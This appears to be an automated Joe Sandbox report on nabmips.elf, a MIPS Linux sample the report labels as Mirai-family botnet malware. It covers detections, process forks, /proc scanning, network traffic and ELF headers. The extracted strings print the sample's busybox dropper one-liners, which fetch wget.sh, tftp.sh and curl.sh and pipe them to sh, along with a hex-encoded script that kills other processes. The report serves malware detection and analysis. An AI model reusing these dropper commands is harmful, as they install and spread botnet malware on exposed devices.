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Linux Analysis Report
nabmips.elf

Overview

General Information

Sample name:	nabmips.elf
Analysis ID:	1564388
MD5:	f281d3ae2b1f773c34df41ade81d7868
SHA1:	bc95475ad65533fac64d18382fa67a7c428ec50a
SHA256:	fc123c91100c2d936927f8481658dd1312f1989827c0cf8045c1fb27192732f1
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	52
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Connects to many ports of the same IP (likely port scanning)

Detected TCP or UDP traffic on non-standard ports

Enumerates processes within the "proc" file system

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Sample listens on a socket

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1564388
Start date and time:	2024-11-28 09:17:36 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nabmips.elf
Detection:	MAL
Classification:	mal52.troj.linELF@0/97@2/0

Runtime Messages

Command:	/tmp/nabmips.elf
PID:	5413
Exit Code:	0
Exit Code Info:
Killed:	False
Standard Output:	The Peoples Bank of China.
Standard Error:

Process Tree

system is lnxubuntu20

nabmips.elf (PID: 5413, Parent: 5338, MD5: 0083f1f0e77be34ad27f849842bbb00c) Arguments: /tmp/nabmips.elf

nabmips.elf New Fork (PID: 5415, Parent: 5413)

nabmips.elf New Fork (PID: 5417, Parent: 5415)

nabmips.elf New Fork (PID: 5419, Parent: 5415)

nabmips.elf New Fork (PID: 5421, Parent: 5415)

cleanup

String: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4

Source: nabmips.elf	ReversingLabs: Detection: 36%
Source: nabmips.elf	Virustotal: Detection: 32%			Perma Link

Source: global traffic	TCP traffic: 154.213.187.245 ports 38241,1,2,3,4,8
Source: global traffic	TCP traffic: 154.213.187.249 ports 38241,1,2,3,4,8

Source: global traffic	TCP traffic: 192.168.2.13:53648 -> 154.213.187.249:38241
Source: global traffic	TCP traffic: 192.168.2.13:48860 -> 154.213.187.245:38241

Source: unknown	TCP traffic detected without corresponding DNS query: 214.26.20.105
Source: unknown	TCP traffic detected without corresponding DNS query: 188.197.215.96
Source: unknown	TCP traffic detected without corresponding DNS query: 201.142.122.209
Source: unknown	TCP traffic detected without corresponding DNS query: 135.94.59.200
Source: unknown	TCP traffic detected without corresponding DNS query: 158.15.221.161
Source: unknown	TCP traffic detected without corresponding DNS query: 27.186.112.152
Source: unknown	TCP traffic detected without corresponding DNS query: 93.44.83.247
Source: unknown	TCP traffic detected without corresponding DNS query: 125.236.86.234
Source: unknown	TCP traffic detected without corresponding DNS query: 15.17.213.37
Source: unknown	TCP traffic detected without corresponding DNS query: 133.162.175.98
Source: unknown	TCP traffic detected without corresponding DNS query: 87.90.39.6
Source: unknown	TCP traffic detected without corresponding DNS query: 175.168.149.80
Source: unknown	TCP traffic detected without corresponding DNS query: 141.39.65.38
Source: unknown	TCP traffic detected without corresponding DNS query: 54.138.239.217
Source: unknown	TCP traffic detected without corresponding DNS query: 131.99.158.225
Source: unknown	TCP traffic detected without corresponding DNS query: 176.71.35.251
Source: unknown	TCP traffic detected without corresponding DNS query: 3.168.247.140
Source: unknown	TCP traffic detected without corresponding DNS query: 63.202.54.205
Source: unknown	TCP traffic detected without corresponding DNS query: 143.57.83.143
Source: unknown	TCP traffic detected without corresponding DNS query: 44.178.36.174
Source: unknown	TCP traffic detected without corresponding DNS query: 214.26.20.105
Source: unknown	TCP traffic detected without corresponding DNS query: 188.197.215.96
Source: unknown	TCP traffic detected without corresponding DNS query: 201.142.122.209
Source: unknown	TCP traffic detected without corresponding DNS query: 135.94.59.200
Source: unknown	TCP traffic detected without corresponding DNS query: 158.15.221.161
Source: unknown	TCP traffic detected without corresponding DNS query: 27.186.112.152
Source: unknown	TCP traffic detected without corresponding DNS query: 93.44.83.247
Source: unknown	TCP traffic detected without corresponding DNS query: 125.236.86.234
Source: unknown	TCP traffic detected without corresponding DNS query: 15.17.213.37
Source: unknown	TCP traffic detected without corresponding DNS query: 133.162.175.98
Source: unknown	TCP traffic detected without corresponding DNS query: 87.90.39.6
Source: unknown	TCP traffic detected without corresponding DNS query: 175.168.149.80
Source: unknown	TCP traffic detected without corresponding DNS query: 141.39.65.38
Source: unknown	TCP traffic detected without corresponding DNS query: 54.138.239.217
Source: unknown	TCP traffic detected without corresponding DNS query: 131.99.158.225
Source: unknown	TCP traffic detected without corresponding DNS query: 176.71.35.251
Source: unknown	TCP traffic detected without corresponding DNS query: 3.168.247.140
Source: unknown	TCP traffic detected without corresponding DNS query: 63.202.54.205
Source: unknown	TCP traffic detected without corresponding DNS query: 143.57.83.143
Source: unknown	TCP traffic detected without corresponding DNS query: 44.178.36.174
Source: unknown	TCP traffic detected without corresponding DNS query: 131.99.158.225
Source: unknown	TCP traffic detected without corresponding DNS query: 166.80.118.120
Source: unknown	TCP traffic detected without corresponding DNS query: 166.80.118.120
Source: unknown	TCP traffic detected without corresponding DNS query: 214.26.20.105
Source: unknown	TCP traffic detected without corresponding DNS query: 188.197.215.96
Source: unknown	TCP traffic detected without corresponding DNS query: 201.142.122.209
Source: unknown	TCP traffic detected without corresponding DNS query: 135.94.59.200
Source: unknown	TCP traffic detected without corresponding DNS query: 158.15.221.161
Source: unknown	TCP traffic detected without corresponding DNS query: 27.186.112.152
Source: unknown	TCP traffic detected without corresponding DNS query: 93.44.83.247

Source: nabmips.elf	String found in binary or memory: http:///curl.sh
Source: nabmips.elf	String found in binary or memory: http:///wget.sh

Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne >> > .d
Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: /bin/busyboxincorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| sh/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D

Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5450/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5450/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5440/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5440/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5451/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5451/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5441/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5441/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5452/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5452/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5442/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5442/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5453/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5453/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5443/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5443/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5454/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5454/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5444/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5444/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5455/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5455/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5508/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5508/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5445/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5445/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5456/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5456/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5446/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5446/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5457/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5457/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5447/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5447/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5448/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5448/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5449/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5449/cmdline	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5439/maps	Jump to behavior
Source: /tmp/nabmips.elf (PID: 5419)	File opened: /proc/5439/cmdline	Jump to behavior

Source: nabmips.elf, 5413.1.00007ffd0fec5000.00007ffd0fee6000.rw-.sdmp, nabmips.elf, 5417.1.00007ffd0fec5000.00007ffd0fee6000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-mips/tmp/nabmips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nabmips.elf
Source: nabmips.elf, 5413.1.000055ae75129000.000055ae751b0000.rw-.sdmp, nabmips.elf, 5417.1.000055ae75129000.000055ae751b0000.rw-.sdmp	Binary or memory string: U!/etc/qemu-binfmt/mips
Source: nabmips.elf, 5413.1.000055ae75129000.000055ae751b0000.rw-.sdmp, nabmips.elf, 5417.1.000055ae75129000.000055ae751b0000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: nabmips.elf, 5413.1.00007ffd0fec5000.00007ffd0fee6000.rw-.sdmp, nabmips.elf, 5417.1.00007ffd0fec5000.00007ffd0fee6000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Source	Detection	Scanner	Label	Link
nabmips.elf	37%	ReversingLabs	Linux.Trojan.Mirai
nabmips.elf	32%	Virustotal		Browse

IP	Domain	Country	ASN	ASN Name	Malicious
184.126.121.125	unknown	United States	7922	COMCAST-7922US	false
67.111.16.167	unknown	United States	2828	XO-AS15US	false
85.203.107.171	unknown	France	30801	OZONE53avenuedelapierrevalleeFR	false
137.15.25.88	unknown	Canada	577	BACOMCA	false
202.189.218.19	unknown	Japan	2519	VECTANTARTERIANetworksCorporationJP	false
111.236.90.91	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
111.243.197.239	unknown	Taiwan; Republic of China (ROC)	3462	HINETDataCommunicationBusinessGroupTW	false
207.67.155.105	unknown	United States	2914	NTT-COMMUNICATIONS-2914US	false
173.155.77.66	unknown	United States	10507	SPCSUS	false
142.166.72.15	unknown	Canada	855	CANET-ASN-4CA	false
174.224.26.85	unknown	United States	22394	CELLCOUS	false
131.154.153.254	unknown	Italy	137	ASGARRConsortiumGARREU	false
128.34.125.85	unknown	United States	22	DNIC-AS-00022US	false
54.138.239.217	unknown	United States	14618	AMAZON-AESUS	false
166.80.118.120	unknown	United States	58681	NSWPOLSERV-AS-APNewSouthWalesPoliceAU	false
73.175.19.152	unknown	United States	7922	COMCAST-7922US	false
30.55.191.212	unknown	United States	7922	COMCAST-7922US	false
102.224.250.134	unknown	unknown	36926	CKL1-ASNKE	false
12.188.42.117	unknown	United States	7018	ATT-INTERNET4US	false
110.204.26.51	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
27.186.112.152	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
109.9.21.143	unknown	France	15557	LDCOMNETFR	false
150.86.80.190	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
87.90.39.6	unknown	France	5410	BOUYGTEL-ISPFR	false
3.168.247.140	unknown	United States	16509	AMAZON-02US	false
63.202.54.205	unknown	United States	7018	ATT-INTERNET4US	false
69.223.252.172	unknown	United States	7018	ATT-INTERNET4US	false
198.145.232.37	unknown	United States	2044	IINET-2044US	false
141.226.63.209	unknown	Israel	47956	XFONEIL	false
152.187.210.96	unknown	United States	701	UUNETUS	false
124.231.33.121	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
7.201.250.109	unknown	United States	3356	LEVEL3US	false
205.108.153.236	unknown	United States	27064	DNIC-ASBLK-27032-27159US	false
106.255.51.221	unknown	Korea Republic of	3786	LGDACOMLGDACOMCorporationKR	false
166.139.218.53	unknown	United States	22394	CELLCOUS	false
5.198.173.183	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
112.98.235.171	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
183.244.53.102	unknown	China	56048	CMNET-BEIJING-APChinaMobileCommunicaitonsCorporationCN	false
204.19.93.24	unknown	Canada	376	RISQ-ASCA	false
2.119.243.24	unknown	Italy	3269	ASN-IBSNAZIT	false

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
netfags.geek	x86.elf	Get hash	malicious	Unknown	Browse	154.213.187.242
netfags.geek	nabppc.elf	Get hash	malicious	Unknown	Browse	154.213.187.242

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BACOMCA	arm7.elf	Get hash	malicious	Mirai	Browse	76.65.142.65
	spc.elf	Get hash	malicious	Mirai	Browse	76.65.142.65
	m68k.elf	Get hash	malicious	Mirai	Browse	142.185.253.182
	i686.elf	Get hash	malicious	Unknown	Browse	142.123.9.249
	sh4.elf	Get hash	malicious	Unknown	Browse	70.30.247.15
	arm7.elf	Get hash	malicious	Unknown	Browse	70.51.209.8
	mips.elf	Get hash	malicious	Mirai	Browse	64.229.71.84
	arm.elf	Get hash	malicious	Mirai	Browse	69.158.136.197
	xobftuootu.elf	Get hash	malicious	Unknown	Browse	206.172.139.248
	arm5.nn.elf	Get hash	malicious	Mirai, Okiru	Browse	137.15.223.181
XO-AS15US	nabmpsl.elf	Get hash	malicious	Unknown	Browse	64.1.243.159
	arm7.elf	Get hash	malicious	Mirai	Browse	216.4.87.39
	spc.elf	Get hash	malicious	Mirai	Browse	216.4.87.39
	mips.elf	Get hash	malicious	Mirai	Browse	66.239.95.21
	arm.elf	Get hash	malicious	Unknown	Browse	65.47.33.59
	mipsel.elf	Get hash	malicious	Unknown	Browse	66.105.126.139
	sparc.elf	Get hash	malicious	Okiru	Browse	208.176.202.218
	arm5.elf	Get hash	malicious	Unknown	Browse	66.106.244.101
	m68k.elf	Get hash	malicious	Mirai	Browse	67.93.238.90
	.pjyhwsdgkl.elf	Get hash	malicious	Unknown	Browse	208.177.255.132
COMCAST-7922US	nabsh4.elf	Get hash	malicious	Unknown	Browse	96.108.113.126
	loligang.arm7.elf	Get hash	malicious	Mirai	Browse	98.39.249.58
	nabarm.elf	Get hash	malicious	Unknown	Browse	76.135.171.121
	botx.ppc.elf	Get hash	malicious	Mirai	Browse	73.229.114.23
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	73.66.82.115
	nabx86.elf	Get hash	malicious	Unknown	Browse	26.23.72.51
	nabarm5.elf	Get hash	malicious	Unknown	Browse	30.254.189.218
	loligang.mips.elf	Get hash	malicious	Mirai	Browse	75.68.74.94
	loligang.mpsl.elf	Get hash	malicious	Mirai	Browse	67.183.14.224
	botx.arm6.elf	Get hash	malicious	Mirai	Browse	50.197.6.248
OZONE53avenuedelapierrevalleeFR	belks.ppc.elf	Get hash	malicious	Mirai	Browse	85.203.114.16
	D9lexQEfnt.elf	Get hash	malicious	Mirai	Browse	85.203.126.160
	0dWzJvs4ON.elf	Get hash	malicious	Mirai	Browse	85.203.114.63
	jade.mpsl.elf	Get hash	malicious	Mirai	Browse	85.203.114.34
	ia54Vyu1GO.elf	Get hash	malicious	Mirai	Browse	85.203.114.14
	kiEexlEvM2.elf	Get hash	malicious	Unknown	Browse	85.203.102.94
	GcC9vBsPTr.elf	Get hash	malicious	Mirai	Browse	85.203.114.57
	yBO3l0W00l.elf	Get hash	malicious	Mirai	Browse	85.203.114.32
	VLMEMjKea7.elf	Get hash	malicious	Mirai	Browse	85.203.114.41
	PFFr6Nnfvm.elf	Get hash	malicious	Mirai	Browse	85.203.114.21

Process:	/tmp/nabmips.elf
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	3.1553435289331504
Encrypted:	false
SSDEEP:	6:URjVceFXEVPj/VcceFXZT/V/BHT/VDM/V+4D/VH:IjqeWRePHRMfF
MD5:	469818329DADA103CF63D0F5BCDF1424
SHA1:	8D463738B7531742602296AFC1047494656A7BE4
SHA-256:	AFA330F6A5C89341048F8FC462DF2CEBA4569CDBBEDB471187AC5D82137FB908
SHA-512:	71F146A57495D84D9638CB96C9D4F18B9267406720A4CF92F2F684352DC9C475FDD429BD205F4F70F1B6C5534C5DEACBB4D2D02401F621033FDA558FC4F614B2
Malicious:	false
Reputation:	low
Preview:	400000-40d000 r-xp 00000000 fd:00 531567 /tmp/..44d000-44e000 rw-p 0000d000 fd:00 531567 /tmp/..44e000-450000 rw-p 00000000 00:00 0 .450000-451000 rw-p 00000000 00:00 0 .7f7ff000-7f800000 ---p 00000000 00:00 0 .7f800000-80000000 rw-p 00000000 00:00 0 [stack].

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nabmips.elf	false		high
http:///curl.sh	nabmips.elf	false		high

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.402289179887648
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nabmips.elf
File size:	55'560 bytes
MD5:	f281d3ae2b1f773c34df41ade81d7868
SHA1:	bc95475ad65533fac64d18382fa67a7c428ec50a
SHA256:	fc123c91100c2d936927f8481658dd1312f1989827c0cf8045c1fb27192732f1
SHA512:	82ed905ae7b2ae3e9f37f4990749d39356da564028f7b792f137e79ceccf1584107462e2fd0e13a02f17386d4893b4eb2fceeb391a91d0f8ada3cee46c9974da
SSDEEP:	1536:v8ZcgCHQ2wJls+mI9VjjCdpukvf0ffuhfffvMT6eepw5qT3bsRw:vv+E+mI9VfCdpuDypqqT3J
TLSH:	8C43755A2E319FDEFB7C823547B74A209748739537E0C689D26CFD055AB020DA41FBA8
File Content Preview:	.ELF.....................@.`...4.........4. ...(.............@...@...........................D...D.....D...(........dt.Q............................<...'.Q....!'.......................<...'.Q....!... ....'9... ......................<...'.Qx...!........'9.

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	54960
Section Header Size:	40
Number of Section Headers:	15
Header String Table Index:	14

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0xbbf0	0x0	0x6	AX	16
.fini	PROGBITS	0x40bd10	0xbd10	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x40bd70	0xbd70	0xe90	0x0	0x2	A	16
.ctors	PROGBITS	0x44d000	0xd000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x44d008	0xd008	0x8	0x0	0x3	WA	4
.jcr	PROGBITS	0x44d010	0xd010	0x4	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x44d014	0xd014	0xd8	0x0	0x3	WA	4
.data	PROGBITS	0x44d0f0	0xd0f0	0x180	0x0	0x3	WA	16
.got	PROGBITS	0x44d270	0xd270	0x3d4	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x44d644	0xd644	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x44d670	0xd644	0x11b8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x774	0xd644	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0xd644	0x69	0x0	0x0		1

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0xcc00	0xcc00	5.5230	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0xd000	0x44d000	0x44d000	0x644	0x1828	3.2880	0x6	RW	0x10000	.ctors .dtors .jcr .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 28, 2024 09:18:24.036392927 CET	45377	53	192.168.2.13	194.36.144.87
Nov 28, 2024 09:18:24.285288095 CET	53	45377	194.36.144.87	192.168.2.13
Nov 28, 2024 09:18:35.820245028 CET	41849	53	192.168.2.13	51.158.108.203
Nov 28, 2024 09:18:36.059585094 CET	53	41849	51.158.108.203	192.168.2.13

Start time (UTC):	08:18:22
Start date (UTC):	28/11/2024
Path:	/tmp/nabmips.elf
Arguments:	/tmp/nabmips.elf
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Start time (UTC):	08:18:23
Start date (UTC):	28/11/2024
Path:	/tmp/nabmips.elf
Arguments:	-
File size:	5777432 bytes
MD5 hash:	0083f1f0e77be34ad27f849842bbb00c

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report nabmips.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

/tmp/qemu-open.2MlLJW (deleted)

/tmp/qemu-open.2znZBW (deleted)

/tmp/qemu-open.34rqUZ (deleted)

/tmp/qemu-open.3adFtY (deleted)

/tmp/qemu-open.3axkcX (deleted)

/tmp/qemu-open.3c4cFZ (deleted)

/tmp/qemu-open.3eeMMY (deleted)

/tmp/qemu-open.40co2X (deleted)

/tmp/qemu-open.4D9NUX (deleted)

/tmp/qemu-open.4I5zfW (deleted)

/tmp/qemu-open.4ax4RX (deleted)

/tmp/qemu-open.5YK2EZ (deleted)

/tmp/qemu-open.5fYDMV (deleted)

/tmp/qemu-open.5lwuhW (deleted)

/tmp/qemu-open.6CGfgW (deleted)

/tmp/qemu-open.6XWvfW (deleted)

/tmp/qemu-open.8RSoEX (deleted)

